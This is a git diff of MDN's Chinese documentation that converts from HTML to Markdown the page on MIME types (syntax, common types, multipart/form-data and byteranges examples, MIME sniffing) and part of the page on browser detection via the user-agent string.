    +> **警告:** 浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理 URL,因此 Web 服务器在响应头中添加正确的 MIME 类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。 -

    语法

    +## 语法 -

    通用结构

    +### 通用结构 -
    type/subtype
    +```plain +type/subtype +``` -

    MIME 的组成结构非常简单;由类型与子类型两个字符串中间用'/'分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。

    +MIME 的组成结构非常简单;由类型与子类型两个字符串中间用`'/'`分隔而组成。不允许空格存在。_type_ 表示可以被分多个子类的独立类别。_subtype 表示细分后的每个类型。_ -

    MIME 类型对大小写不敏感,但是传统写法都是小写。

    +MIME 类型对大小写不敏感,但是传统写法都是小写。 -

    独立类型

    +### 独立类型 -
    text/plain
    +```plain
    +text/plain
     text/html
     image/jpeg
     image/png
    @@ -44,210 +45,119 @@ application/json
     application/javascript
     application/ecmascript
     application/octet-stream
    -…
    - -

    独立类型表明了对文件的分类,可以是如下之一:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    类型描述典型示例
    text表明文件是普通文本,理论上是人类可读text/plain, text/html, text/css, text/javascript
    image表明是某种图像。不包括视频,但是动态图(比如动态 gif)也使用 image 类型image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon
    audio表明是某种音频文件audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
    video表明是某种视频文件video/webm, video/ogg
    application表明是某种二进制数据 -

    application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf

    -
    - -

    对于 text 文件类型若没有特定的 subtype,就使用 text/plain。类似的,二进制文件没有特定或已知的 subtype,即使用 application/octet-stream

    - -

    Multipart 类型

    - -
    multipart/form-data
    -multipart/byteranges
    - -

    Multipart 类型表示细分领域的文件类型的种类,经常对应不同的 MIME 类型。这是复合文件的一种表现方式。multipart/form-data 可用于联系 HTML Forms 和 {{HTTPMethod("POST")}} 方法,此外 multipart/byteranges使用状态码{{HTTPStatus("206")}} Partial Content来发送整个文件的子集,而 HTTP 对不能处理的复合文件使用特殊的方式:将信息直接传送给浏览器(这时可能会建立一个“另存为”窗口,但是却不知道如何去显示内联文件。)

    - -

    重要的 MIME 类型

    - -

    application/octet-stream

    - -

    这是应用程序文件的默认值。意思是 未知的应用程序文件 ,浏览器一般不会自动执行或询问执行。浏览器会像对待 设置了 HTTP 头{{HTTPHeader("Content-Disposition")}} 值为 attachment 的文件一样来对待这类文件。

    - -

    text/plain

    - -

    文本文件默认值。即使它意味着未知的文本文件,但浏览器认为是可以直接展示的。

    - -
    -

    text/plain并不是意味着某种文本数据。如果浏览器想要一个文本文件的明确类型,浏览器并不会考虑他们是否匹配。比如说,如果通过一个表明是下载 CSS 文件的{{HTMLElement("link")}}链接下载了一个 text/plain 文件。如果提供的信息是 text/plain,浏览器并不会认出这是有效的 CSS 文件。CSS 类型需要使用 text/css。

    -
    - -

    text/css

    - -

    在网页中要被解析为 CSS 的任何 CSS 文件必须指定 MIME 为text/css。通常,服务器不识别以.css 为后缀的文件的 MIME 类型,而是将其以 MIME 为text/plainapplication/octet-stream 来发送给浏览器:在这种情况下,大多数浏览器不识别其为 CSS 文件,直接忽略掉。特别要注意为 CSS 文件提供正确的 MIME 类型。

    - -

    text/html

    - -

    所有的 HTML 内容都应该使用这种类型。XHTML 的其他 MIME 类型(如application/xml+html)现在基本不再使用(HTML5 统一了这些格式)。

    - -
    -

    Note: You still need to use application/xml or application/xhtml+xml if you intend to make use of XML’s strict parsing rules, use <![CDATA[…]]> or elements from non‑HTML, non‑SVG or non‑MathML XML namespaces, as text/html’s parsing semantics are subtly incompatible with those of application/xml.

    -
    - -

    text/javascript

    - -

    据 HTML 标准,应该总是使用 MIME 类型 text/javascript 服务 JavaScript 文件。其他值不被认为有效,使用那些值可能会导致脚本不被载入或运行。

    - -

    历史原因,MIME 嗅探标准(定义浏览器应该如何解释媒体类型和如何处理无有效媒体类型的内容)允许使用匹配以下任意的 MIME 类型服务 JavaScript:

    - -
      -
    • application/javascript
    • -
    • application/ecmascript
    • -
    • application/x-ecmascript {{Non-standard_Inline}}
    • -
    • application/x-javascript {{Non-standard_Inline}}
    • -
    • text/javascript
    • -
    • text/ecmascript
    • -
    • text/javascript1.0 {{Non-standard_Inline}}
    • -
    • text/javascript1.1 {{Non-standard_Inline}}
    • -
    • text/javascript1.2 {{Non-standard_Inline}}
    • -
    • text/javascript1.3 {{Non-standard_Inline}}
    • -
    • text/javascript1.4 {{Non-standard_Inline}}
    • -
    • text/javascript1.5 {{Non-standard_Inline}}
    • -
    • text/jscript {{Non-standard_Inline}}
    • -
    • text/livescript {{Non-standard_Inline}}
    • -
    • text/x-ecmascript {{Non-standard_Inline}}
    • -
    • text/x-javascript {{Non-standard_Inline}}
    • -
    - -
    -

    注意:即便任何给定的 {{Glossary("user agent")}} 可能支持这些中的任意或所有,你只应该使用 text/javascript。它是唯一确保能在目前和以后正常工作的 MIME 类型。

    -
    - -

    你可能发现某些内容在 text/javascript 媒体类型末尾有一个 charset 参数,指定用于表示代码内容的字符集。这不是合法的,而且在大多数场景下会导致脚本不被载入。

    - -

    图片类型

    - -

    只有一小部分图片类型是被广泛支持的,Web 安全的,可随时在 Web 页面中使用的:

    - - - - - - - - - - - - - - - - - - - - - - - - - - -
    MIME 类型图片类型
    image/gifGIF 图片 (无损耗压缩方面被 PNG 所替代)
    image/jpegJPEG 图片
    image/pngPNG 图片
    image/svg+xmlSVG 图片 (矢量图)
    - -

    此处的类型划分有一定的争议,有人认为此处应该增加 WebP(image/webp),但是每个新增的图片类型都会增加代码的数量,这会带来一些新的安全问题,所以浏览器供应商对于添加类型非常小心。

    - -

    另外的一些图片种类可以在 Web 文档中找到。比如很多浏览器支持 icon 类型的图标作为 favicons 或者类似的图标,并且浏览器在 MIME 类型中的 image/x-icon 支持 ICO 图像。

    - -
    -
    Footnote 1
    -
    尽管 image/vnd.microsoft.icon 在 ANA 注册, 它仍然不被广泛支持,image/x-icon 被作为替代品使用。
    -
    - -

    音频与视频类型

    - -

    HTML 并没有明确定义被用于{{HTMLElement("audio")}}和{{HTMLElement("video")}}元素所支持的文件类型,所以在 web 上使用的只有相对较小的一组类型。 文章 Media formats supported by the HTML audio and video elements 解释了可以被使用的解码器或视频文件格式。

    - -

    在 web 环境最常用的视频文件的格式,是以下这些这些文件类型:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    MIME 类型音频或视频类型
    audio/wave
    - audio/wav
    - audio/x-wav
    - audio/x-pn-wav
    音频流媒体文件。一般支持 PCM 音频编码 (WAVE codec "1") ,其他解码器有限支持(如果有的话)。
    audio/webm WebM 音频文件格式。Vorbis 和 Opus 是其最常用的解码器。
    video/webm采用 WebM 视频文件格式的音视频文件。VP8 和 VP9 是其最常用的视频解码器。Vorbis 和 Opus 是其最常用的音频解码器。
    audio/ogg采用 OGG 多媒体文件格式的音频文件。 Vorbis 是这个多媒体文件格式最常用的音频解码器。
    video/ogg采用 OGG 多媒体文件格式的音视频文件。常用的视频解码器是 Theora;音频解码器为 Vorbis 。
    application/ogg采用 OGG 多媒体文件格式的音视频文件。常用的视频解码器是 Theora;音频解码器为 Vorbis 。
    application/jsonapplication/json (MIME_type)
    - https://en.wikipedia.org/wiki/Media_type#Common_examples
    - https://www.iana.org/assignments/media-types/application/json
    - -

    multipart/form-data

    - -

    multipart/form-data 可用于HTML 表单从浏览器发送信息给服务器。作为多部分文档格式,它由边界线(一个由'--'开始的字符串)划分出的不同部分组成。每一部分有自己的实体,以及自己的 HTTP 请求头,{{HTTPHeader("Content-Disposition")}}和 {{HTTPHeader("Content-Type")}} 用于文件上传领域,最常用的 ({{HTTPHeader("Content-Length")}} 因为边界线作为分隔符而被忽略)。

    - -
    Content-Type: multipart/form-data; boundary=aBoundaryString
    +…
    +```
    +
    +*独立*类型表明了对文件的分类,可以是如下之一:
    +
    +| 类型          | 描述                                                                    | 典型示例                                                                                                                                        |
    +| ------------- | ----------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
    +| `text`        | 表明文件是普通文本,理论上是人类可读                                    | `text/plain`, `text/html`, `text/css, text/javascript`                                                                                          |
    +| `image`       | 表明是某种图像。不包括视频,但是动态图(比如动态 gif)也使用 image 类型 | `image/gif`, `image/png`, `image/jpeg`, `image/bmp`, `image/webp`, `image/x-icon`, `image/vnd.microsoft.icon`                                   |
    +| `audio`       | 表明是某种音频文件                                                      | `audio/midi`, `audio/mpeg, audio/webm, audio/ogg, audio/wav`                                                                                    |
    +| `video`       | 表明是某种视频文件                                                      | `video/webm`, `video/ogg`                                                                                                                       |
    +| `application` | 表明是某种二进制数据                                                    | `application/octet-stream`, `application/pkcs12`, `application/vnd.mspowerpoint`, `application/xhtml+xml`, `application/xml`, `application/pdf` |
    +
    +对于 text 文件类型若没有特定的 subtype,就使用 `text/plain`。类似的,二进制文件没有特定或已知的 subtype,即使用 `application/octet-stream`。
    +
    +### Multipart 类型
    +
    +```plain
    +multipart/form-data
    +multipart/byteranges
    +```
    +
    +_Multipart_ 类型表示细分领域的文件类型的种类,经常对应不同的 MIME 类型。这是*复合*文件的一种表现方式。`multipart/form-data` 可用于联系 [HTML Forms](/zh-CN/docs/Web/Guide/HTML/Forms) 和 {{HTTPMethod("POST")}} 方法,此外 `multipart/byteranges`使用状态码{{HTTPStatus("206")}} `Partial Content`来发送整个文件的子集,而 HTTP 对不能处理的复合文件使用特殊的方式:将信息直接传送给浏览器(这时可能会建立一个“另存为”窗口,但是却不知道如何去显示内联文件。)
    +
    +## 重要的 MIME 类型
    +
    +### application/octet-stream
    +
    +这是应用程序文件的默认值。意思是 *未知的应用程序文件 ,*浏览器一般不会自动执行或询问执行。浏览器会像对待 设置了 HTTP 头{{HTTPHeader("Content-Disposition")}} 值为 `attachment` 的文件一样来对待这类文件。
    +
    +### text/plain
    +
    +文本文件默认值。即使它*意味着未知的文本文件*,但浏览器认为是可以直接展示的。
    +
    +> **备注:** `text/plain`并不是意味着某种文本数据。如果浏览器想要一个文本文件的明确类型,浏览器并不会考虑他们是否匹配。比如说,如果通过一个表明是下载 CSS 文件的{{HTMLElement("link")}}链接下载了一个 `text/plain` 文件。如果提供的信息是 text/plain,浏览器并不会认出这是有效的 CSS 文件。CSS 类型需要使用 text/css。
    +
    +### text/css
    +
    +在网页中要被解析为 CSS 的任何 CSS 文件必须指定 MIME 为`text/css`。通常,服务器不识别以.css 为后缀的文件的 MIME 类型,而是将其以 MIME 为`text/plain` 或 `application/octet-stream` 来发送给浏览器:在这种情况下,大多数浏览器不识别其为 CSS 文件,直接忽略掉。特别要注意为 CSS 文件提供正确的 MIME 类型。
    +
    +### text/html
    +
    +所有的 HTML 内容都应该使用这种类型。XHTML 的其他 MIME 类型(如`application/xml+html`)现在基本不再使用(HTML5 统一了这些格式)。
    +
    +> **备注:** You still need to use `application/xml` or `application/xhtml+xml` if you intend to make use of XML’s strict parsing rules, use [``](https://developer.mozilla.org/en-US/docs/Web/API/CDATASection) or elements from non‑HTML, non‑SVG or non‑MathML XML namespaces, as `text/html`’s parsing semantics are subtly incompatible with those of `application/xml`.
    +
    +### text/javascript
    +
    +据 HTML 标准,应该总是使用 MIME 类型 `text/javascript` 服务 JavaScript 文件。其他值不被认为有效,使用那些值可能会导致脚本不被载入或运行。
    +
    +历史原因,[MIME 嗅探标准](https://mimesniff.spec.whatwg.org/)(定义浏览器应该如何解释媒体类型和如何处理无有效媒体类型的内容)允许使用匹配以下任意的 MIME 类型服务 JavaScript:
    +
    +- `application/javascript`
    +- `application/ecmascript`
    +- `application/x-ecmascript` {{Non-standard_Inline}}
    +- `application/x-javascript` {{Non-standard_Inline}}
    +- `text/javascript`
    +- `text/ecmascript`
    +- `text/javascript1.0` {{Non-standard_Inline}}
    +- `text/javascript1.1` {{Non-standard_Inline}}
    +- `text/javascript1.2` {{Non-standard_Inline}}
    +- `text/javascript1.3` {{Non-standard_Inline}}
    +- `text/javascript1.4` {{Non-standard_Inline}}
    +- `text/javascript1.5` {{Non-standard_Inline}}
    +- `text/jscript` {{Non-standard_Inline}}
    +- `text/livescript` {{Non-standard_Inline}}
    +- `text/x-ecmascript` {{Non-standard_Inline}}
    +- `text/x-javascript` {{Non-standard_Inline}}
    +
    +> **备注:** 即便任何给定的 {{Glossary("user agent")}} 可能支持这些中的任意或所有,你只应该使用 `text/javascript`。它是唯一确保能在目前和以后正常工作的 MIME 类型。
    +
    +你可能发现某些内容在 `text/javascript` 媒体类型末尾有一个 `charset` 参数,指定用于表示代码内容的字符集。这不是合法的,而且在大多数场景下会导致脚本不被载入。
    +
    +### 图片类型
    +
    +只有一小部分图片类型是被广泛支持的,Web 安全的,可随时在 Web 页面中使用的:
    +
    +| MIME 类型       | 图片类型                               |
    +| --------------- | -------------------------------------- |
    +| `image/gif`     | GIF 图片 (无损耗压缩方面被 PNG 所替代) |
    +| `image/jpeg`    | JPEG 图片                              |
    +| `image/png`     | PNG 图片                               |
    +| `image/svg+xml` | SVG 图片 (矢量图)                      |
    +
    +此处的类型划分有一定的争议,有人认为此处应该增加 WebP(`image/webp`),但是每个新增的图片类型都会增加代码的数量,这会带来一些新的安全问题,所以浏览器供应商对于添加类型非常小心。
    +
    +另外的一些图片种类可以在 Web 文档中找到。比如很多浏览器支持 _icon 类型的图标作为_ favicons 或者类似的图标,并且浏览器在 MIME 类型中的 `image/x-icon` 支持 ICO 图像。
    +
    +- Footnote 1
    +  - : 尽管 `image/vnd.microsoft.icon` [在 ANA 注册](https://www.iana.org/assignments/media-types/image/vnd.microsoft.icon), 它仍然不被广泛支持,`image/x-icon` 被作为替代品使用。
    +
    +### 音频与视频类型
    +
    +HTML 并没有明确定义被用于{{HTMLElement("audio")}}和{{HTMLElement("video")}}元素所支持的文件类型,所以在 web 上使用的只有相对较小的一组类型。[ ](/zh-CN/docs/Web/HTML/Supported_media_formats)文章 [Media formats supported by the HTML audio and video elements](/zh-CN/docs/Web/HTML/Supported_media_formats) 解释了可以被使用的解码器或视频文件格式。
    +
    +在 web 环境最常用的视频文件的格式,是以下这些这些文件类型:
    +
    +| MIME 类型                                               | 音频或视频类型                                                                                                                                          |
    +| ------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
    +| `audio/wave` `audio/wav` `audio/x-wav` `audio/x-pn-wav` | 音频流媒体文件。一般支持 PCM 音频编码 (WAVE codec "1") ,其他解码器有限支持(如果有的话)。                                                             |
    +| `audio/webm`                                            | WebM 音频文件格式。Vorbis 和 Opus 是其最常用的解码器。                                                                                                  |
    +| `video/webm`                                            | 采用 WebM 视频文件格式的音视频文件。VP8 和 VP9 是其最常用的视频解码器。Vorbis 和 Opus 是其最常用的音频解码器。                                          |
    +| `audio/ogg`                                             | 采用 OGG 多媒体文件格式的音频文件。 Vorbis 是这个多媒体文件格式最常用的音频解码器。                                                                     |
    +| `video/ogg`                                             | 采用 OGG 多媒体文件格式的音视频文件。常用的视频解码器是 Theora;音频解码器为 Vorbis 。                                                                  |
    +| `application/ogg`                                       | 采用 OGG 多媒体文件格式的音视频文件。常用的视频解码器是 Theora;音频解码器为 Vorbis 。                                                                  |
    +| `application/json`                                      | application/json (MIME_type)   |
    +
    +### multipart/form-data
    +
    +`multipart/form-data` 可用于[HTML 表单](/zh-CN/docs/Web/Guide/HTML/Forms)从浏览器发送信息给服务器。作为多部分文档格式,它由边界线(一个由`'--'`开始的字符串)划分出的不同部分组成。每一部分有自己的实体,以及自己的 HTTP 请求头,{{HTTPHeader("Content-Disposition")}}和 {{HTTPHeader("Content-Type")}} 用于文件上传领域,最常用的 ({{HTTPHeader("Content-Length")}} 因为边界线作为分隔符而被忽略)。
    +
    +```plain
    +Content-Type: multipart/form-data; boundary=aBoundaryString
     (other headers associated with the multipart document as a whole)
     
     --aBoundaryString
    @@ -262,21 +172,23 @@ Content-Disposition: form-data; name="myField"
     --aBoundaryString
     (more subparts)
     --aBoundaryString--
    +```
     
    -
    +如下所示的表单: -

    如下所示的表单:

    +```html +
    + + Check + + +
    +``` -
    <form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
    -  <input type="text" name="myTextField">
    -  <input type="checkbox" name="myCheckBox">Check</input>
    -  <input type="file" name="myFile">
    -  <button>Send the file</button>
    -</form>
    +会发送这样的请求: -

    会发送这样的请求:

    - -
    POST / HTTP/1.1
    +```plain
    +POST / HTTP/1.1
     Host: localhost:8000
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    @@ -301,14 +213,14 @@ Content-Type: text/plain
     
     Simple file.
     -----------------------------8721656041911415653955004498--
    +```
     
    -
    - -

    multipart/byteranges

    +### multipart/byteranges -

    multipart/byteranges 用于把部分的响应报文发送回浏览器。当发送状态码{{HTTPStatus("206")}}Partial Content 时,这个 MIME 类型用于指出这个文件由若干部分组成,每一个都有其请求范围。就像其他很多类型{{HTTPHeader("Content-Type")}}使用分隔符来制定分界线。每一个不同的部分都有{{HTTPHeader("Content-Type")}}这样的 HTTP 头来说明文件的实际类型,以及 {{HTTPHeader("Content-Range")}}来说明其范围。

    +`multipart/byteranges` 用于把部分的响应报文发送回浏览器。当发送状态码{{HTTPStatus("206")}}`Partial Content` 时,这个 MIME 类型用于指出这个文件由若干部分组成,每一个都有其请求范围。就像其他很多类型{{HTTPHeader("Content-Type")}}使用分隔符来制定分界线。每一个不同的部分都有{{HTTPHeader("Content-Type")}}这样的 HTTP 头来说明文件的实际类型,以及 {{HTTPHeader("Content-Range")}}来说明其范围。 -
    HTTP/1.1 206 Partial Content
    +```plain
    +HTTP/1.1 206 Partial Content
     Accept-Ranges: bytes
     Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
     Content-Length: 385
    @@ -317,8 +229,8 @@ Content-Length: 385
     Content-Type: text/html
     Content-Range: bytes 100-200/1270
     
    -eta http-equiv="Content-type" content="text/html; charset=utf-8" />
    -    <meta name="vieport" content
    +eta http-equiv="Content-type" content="text/html; charset=utf-8" />
    +    
    +--3d6b6a416f9b5-- +``` -

    设置正确的 MIME 类型的重要性

    +## 设置正确的 MIME 类型的重要性 -

    很多 web 服务器使用默认的 application/octet-stream 来发送未知类型。出于一些安全原因,对于这些资源浏览器不允许设置一些自定义默认操作,导致用户必须存储到本地以使用。常见的导致服务器配置错误的文件类型如下所示:

    +很多 web 服务器使用默认的 `application/octet-stream` 来发送未知类型。出于一些安全原因,对于这些资源浏览器不允许设置一些自定义默认操作,导致用户必须存储到本地以使用。常见的导致服务器配置错误的文件类型如下所示: -
      -
    • -

      RAR 编码文件。在这种情况,理想状态是,设置真实的编码文件类型;但这通常不可能(可能是服务器所未知的类型或者这个文件包含许多其他的不同的文件类型)。这种情况服务器将发送 application/x-rar-compressed 作为 MIME 类型,用户不会将其定义为有用的默认操作。

      -
    • -
    • -

      音频或视频文件。只有正确设置了 MIME 类型的文件才能被 {{ HTMLElement("video") }} 或{{ HTMLElement("audio") }} 识别和播放。 可参照 use the correct type for audio and video

      -
    • -
    • -

      专有文件类型。是专有文件时需要特别注意。使用 application/octet-stream 作为特殊处理是不被允许的:对于一般的 MIME 类型浏览器不允许定义默认行为(比如“在 Word 中打开”)

      -
    • -
    +- RAR 编码文件。在这种情况,理想状态是,设置真实的编码文件类型;但这通常不可能(可能是服务器所未知的类型或者这个文件包含许多其他的不同的文件类型)。这种情况服务器将发送 `application/x-rar-compressed` 作为 MIME 类型,用户不会将其定义为有用的默认操作。 +- 音频或视频文件。只有正确设置了 MIME 类型的文件才能被 {{ HTMLElement("video") }} 或{{ HTMLElement("audio") }} 识别和播放。 可参照 [use the correct type for audio and video](https://developer.mozilla.org/En/Media_formats_supported_by_the_audio_and_video_elements)。 +- 专有文件类型。是专有文件时需要特别注意。使用 `application/octet-stream` 作为特殊处理是不被允许的:对于一般的 MIME 类型浏览器不允许定义默认行为(比如“在 Word 中打开”) -

    MIME 嗅探

    +## MIME 嗅探 -

    在缺失 MIME 类型或客户端认为文件设置了错误的 MIME 类型时,浏览器可能会通过查看资源来进行 MIME 嗅探。每一个浏览器在不同的情况下会执行不同的操作。因为这个操作会有一些安全问题,有的 MIME 类型表示可执行内容而有些是不可执行内容。浏览器可以通过请求头 {{HTTPHeader("Content-Type")}} 来设置 {{HTTPHeader("X-Content-Type-Options")}} 以阻止 MIME 嗅探。

    +在缺失 MIME 类型或客户端认为文件设置了错误的 MIME 类型时,浏览器可能会通过查看资源来进行 MIME 嗅探。每一个浏览器在不同的情况下会执行不同的操作。因为这个操作会有一些安全问题,有的 MIME 类型表示可执行内容而有些是不可执行内容。浏览器可以通过请求头 {{HTTPHeader("Content-Type")}} 来设置 {{HTTPHeader("X-Content-Type-Options")}} 以阻止 MIME 嗅探。 -

    其他传送文件类型的方法

    +## 其他传送文件类型的方法 -

    MIME 类型不是传达文档类型信息的唯一方式:

    +MIME 类型不是传达文档类型信息的唯一方式: -
      -
    • 有时会使用名称后缀,特别是在 Microsoft Windows 系统上。并非所有的操作系统都认为这些后缀是有意义的(特别是 Linux 和 Mac OS),并且像外部 MIME 类型一样,不能保证它们是正确的。
    • -
    • 魔术数字。不同类型的文件的语法通过查看结构来允许文件类型推断。例如,每个 GIF 文件以 47 49 46 38 十六进制值 [GIF89] 或 89 50 4E 47 [.PNG] 的 PNG 文件开头。 并非所有类型的文件都有幻数,所以这也不是 100%可靠的方式。
    • -
    +- 有时会使用名称后缀,特别是在 Microsoft Windows 系统上。并非所有的操作系统都认为这些后缀是有意义的(特别是 Linux 和 Mac OS),并且像外部 MIME 类型一样,不能保证它们是正确的。 +- 魔术数字。不同类型的文件的语法通过查看结构来允许文件类型推断。例如,每个 GIF 文件以 47 49 46 38 十六进制值 \[GIF89] 或 89 50 4E 47 \[.PNG] 的 PNG 文件开头。 并非所有类型的文件都有幻数,所以这也不是 100%可靠的方式。 -

    其他

    +## 其他 - +- [Properly configuring server MIME types](/zh-CN/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types) +- [Media formats supported by the HTML audio and video elements](/zh-CN/docs/Web/HTML/Supported_media_formats) +- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} diff --git a/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.md b/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.md index 6a42342ea0b215..d0e9c205b94bbe 100644 --- a/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.md +++ b/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.md @@ -7,237 +7,105 @@ tags: - user agent translation_of: Web/HTTP/Browser_detection_using_the_user_agent --- -
    {{HTTPSidebar}}
    - -
    - -
    为不同浏览器提供不同的网页或服务通常是一个坏主意。互联网的本意是让任何人都可以访问,无论他们使用哪个浏览器或设备。有一些方法可以根据功能的可用性而不是针对特定的浏览器来开发您的网站以逐步增强自身。
    - -
    - -

    但浏览器和标准并不完美,仍然需要检测浏览器的一些边缘情况。使用用户代理检测浏览器看起来很简单,但是做得很好,实际上是一个非常困难的问题。本文档将指导您尽可能正确地进行此操作。

    - -
    -

    值得重申的是:使用用户代理嗅探很少会成为一个好主意。你几乎总能发现一个更好的、更广泛兼容的方式来解决你的问题。

    -
    - -

    在使用浏览器检测之前需要考虑的一些事情

    - -

    当你考虑使用用户代理字段来检测用户正在使用哪种浏览器的时候,第一步是试着回避它。从想明白你为什么要这样做开始。

    - -
    -
    你正尝试解决某个浏览器的某个版本中的一个特定错误吗?
    -
    在专业论坛中查找、询问:你不太可能是第一个遇到这个问题的人。 你也可以询问专家,或者仅仅是那些和你持有不同观点的人们,他们能提供给你不同的思路。如果这个问题看上去是不常见的,你需要检查一下是否这个错误已经通过错误跟踪系统 (Mozilla; WebKit; Opera) 报告给浏览器厂商。浏览器开发商非常关注错误报告,相关的分析也可能会有其他解决方案的提示。
    -
    你正尝试检查某个特性是否可用吗?
    -
    你的站点需要使用一个特定的网页特性,然而有一些浏览器还不支持该特性,你想发给那些使用不支持该特性的浏览器的用户一个更老的网页,该网页有更少的特性,但是你知道他们将正常显示。这是最糟糕的使用用户代理检测的理由,因为有很大的概率最终其余的所有浏览器都将使用这个特性。你应该尽你最大努力在这种可能情况下阻止使用用户代理嗅探器,作为替代,使用功能检测器。
    -
    你想依据正在使用的是哪个浏览器来提供不同的 HTML 页面吗?
    -
    这通常是一个坏的做法,不过有些情况下这又是必要的。在这些情形下,你首先应该分析你所处的情形并确定这确实是必要的。你是否可以通过添加一些无语义的 {{ HTMLElement("div") }} 或者 {{ HTMLElement("span") }} 元素来避免呢?想成功使用用户代理检测是困难的,值得牺牲一些 HTML 的整洁性来换取。另外,也请重新思考一下你的设计:能否通过使用渐进增强或者流体布局来去除使用用户代理检测的需要呢?
    -
    - -

    避免进行用户代理检测

    - -

    如果你想要尝试避免使用用户代理检测,在某些情形下有些可供选择的方法。

    - -
    -
    功能检测
    -
    使用功能检测,你不需要弄清楚是哪种浏览器正在渲染你的页面,你只需要检测你需要的某个特定功能是否可用即可。如果该功能不可用,使用一个应变策略。然而,在某些罕见的情形下,你确实需要检测浏览器种类,由于其他浏览器也会在将来以不同方式实现这个功能,绝不要使用功能检测来判断。由此造成的错误将非常难发现和修复。
    -
    渐进增强
    -
    这种设计技术涉及了按照“层次”开发网页,使用自底向上的方法,从一个简单的层次开始,在一系列连续的层次中通过使用更多的功能来逐步提升站点的能力。
    -
    优雅降级
    -
    这是一种自顶向下的方式,在搭建可能最好的的站点时使用所有你想要的功能,然后稍微改进使其能在更老版本的浏览器上工作。与渐进增强的方法相比,这种方法可能更困难、效率更低,不过在一些情景下也许是有效的。
    -
    - -

    用户代理中的哪个部分包含你正在寻找的信息

    - -

    由于用户代理字串的不同部分缺乏统一性,这是一个较难对付的问题。

    - -

    浏览器名

    - -

    当人们说他们想要进行“浏览器检测”的时候,他们实际上经常想要进行的是“渲染引擎检测”。你实际上想要检测使用的是火狐(Firefox)还是与之对应的海猴(SeaMonkey),或者使用的是 Chrome 还是与之对应的 Chromium?或者你实际上只不过想看浏览器是否正在使用 Gecko 还是 WebKit 渲染引擎?如果这正是你需要的,请参阅后面的部分。

    - -

    除了 IE 浏览器这个显著的例外,大部分的浏览器以浏览器名/版本号的格式设置浏览器名和版本。但是由于浏览器名不是用户代理字符串中唯一一个以这种格式命名的信息,你不能发现浏览器名,你只能检测是否这是你正在寻找的名字。但是要注意到,一些浏览器在说谎:例如 Chrome 的用户代理字符串中既会包含 Chrome 又会包含 Safari。所以为了检测 Safari 浏览器,你不得不检测其中是否有 Safari 字符串同时没有 Chrome 字符串,Chromium 也经常汇报它自己是 Chrome 浏览器,海猴有时也汇报它自己是火狐浏览器。

    - -

    也要注意不要对浏览器名使用简单的正则表达式,用户代理字符串中也包含不属于键值对形式的字符串。例如在 Safari 和 Chrome 中包含有“like Gecko”一样的字符串。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    必须包含禁止包含
    FirefoxFirefox/xyzSeamonkey/xyz
    SeamonkeySeamonkey/xyz
    ChromeChrome/xyzChromium/xyz
    ChromiumChromium/xyz
    SafariSafari/xyzChrome/xyz or Chromium/xyzSafari 有两个版本号,一个技术性较强,格式是 Safari/xyz,一个对用户友好一点,格式是 Version/xyz
    Opera -

    OPR/xyz [1]

    - -

    Opera/xyz [2]

    -
    -

    [1] Opera 15+ (基于 Blink 的引擎)

    - -

    [2] Opera 12- (基于 Presto 的引擎)

    -
    Internet Explorer; MSIE xyz; IE 浏览器的名字并没有使用BrowserName/VersionNumber的格式
    - -

    当然,这里并没有保证其它浏览器不劫持上述字符串(像在过去,Chrome 劫持了 Safari 的字符串)。这就是为什么使用用户代理字段进行浏览器检测是不可信的,并且做这个检测也仅仅应该是为了检测版本号(劫持过去的版本号这种事情很少发生)。

    - -

    浏览器版本

    - -

    浏览器版本号通常但并不总是出现在用户代理字符串的浏览器名/版本号记号的值的位置。IE 浏览器(该浏览器放置版本号刚好在 MSIE 记号之后)以及在版本 10 之后的 Opera(新增了版本/版本号标记)就是例子。

    - -

    此处再一次强调,由于并没有保证其它标记会包含有效的数字,请确保选取你正在寻找的浏览器的正确的标记。

    - -

    渲染引擎

    - -

    正如早先提及到的,在大多数情况下,寻找渲染引擎是一个更好的方式。这将有助于保留鲜为人知的浏览器。使用共同的渲染引擎的浏览器将以相同的方式显示页面:这经常是一个公平的假设:一处有效,处处有效。

    - -

    现在市面上有 5 个主流的渲染引擎:Trident,Gecko,Presto,Blink 和 WebKit。由于嗅探渲染引擎名是很普遍的,大量的用户代理在其字段中增加其它的渲染引擎名来触发检测。因此当检测渲染引擎的时候,一件很重要的事情,就是要避免“假阳性”(注:false-positives,指一个特性可通过检测,但实际在该浏览器下并不可靠或不可用)情况的发生。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    必须包含
    GeckoGecko/xyz
    WebKitAppleWebKit/xyz请注意,WebKit 浏览器包含了'like Gecko'字符串,如果不加以注意,可能会触发检测 Gecko 的 false positive。
    PrestoOpera/xyz注: 在 Opera 浏览器在 15 及以上的版本中,已经不再使用 Presto(参见'Blink')。
    TridentTrident/xyzIE 浏览器将此字符串放在 User Agent 字符串的注释部分。
    BlinkChrome/xyz
    - -

    渲染引擎版本

    - -

